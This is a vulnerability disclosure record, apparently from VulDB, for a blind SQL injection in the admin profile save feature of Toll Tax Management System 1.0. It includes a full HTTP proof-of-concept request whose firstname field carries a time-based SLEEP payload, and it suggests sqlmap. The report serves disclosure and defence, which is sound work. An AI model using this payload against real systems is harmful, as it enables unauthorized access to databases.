| Title | SQLI Blind (Toll Tax Management System) |
|---|
| Description | SQLI Blind in Admin panel when updating/saving admin profile.
# PoC
1- login as admin and go to profile [http://10.0.30.0:1337/admin/?page=user] .
2- set you payload in firstname or use sqlmap .
POST /classes/Users.php?f=save HTTP/1.1
Host: 10.0.30.0:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------87171060839686939451677610311
Content-Length: 999
Origin: http://10.0.30.0:1337
Connection: close
Referer: http://10.0.30.0:1337/admin/?page=user
Cookie: PHPSESSID=o23q98hs6j8ut4u548ebt8epe4
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="id"
1
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="firstname"
Adminstrator' AND (SELECT 2171 FROM (SELECT(SLEEP(5)))hgdO)-- EnP
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="middlename"
s
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="username"
admin
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="password"
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------87171060839686939451677610311-- |
|---|
| Source | ⚠️ https://github.com/xcodeOn1/SQLI-TollTax/blob/main/README.md |
|---|
| User | xcode0x (UID 39076) |
|---|
| Submission | 09/23/2023 01:05 (3 years ago) |
|---|
| Moderation | 09/29/2023 08:25 (6 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 240775 [SourceCodester Toll Tax Management System 1.0 sql injection] |
|---|
| Points | 0 |
|---|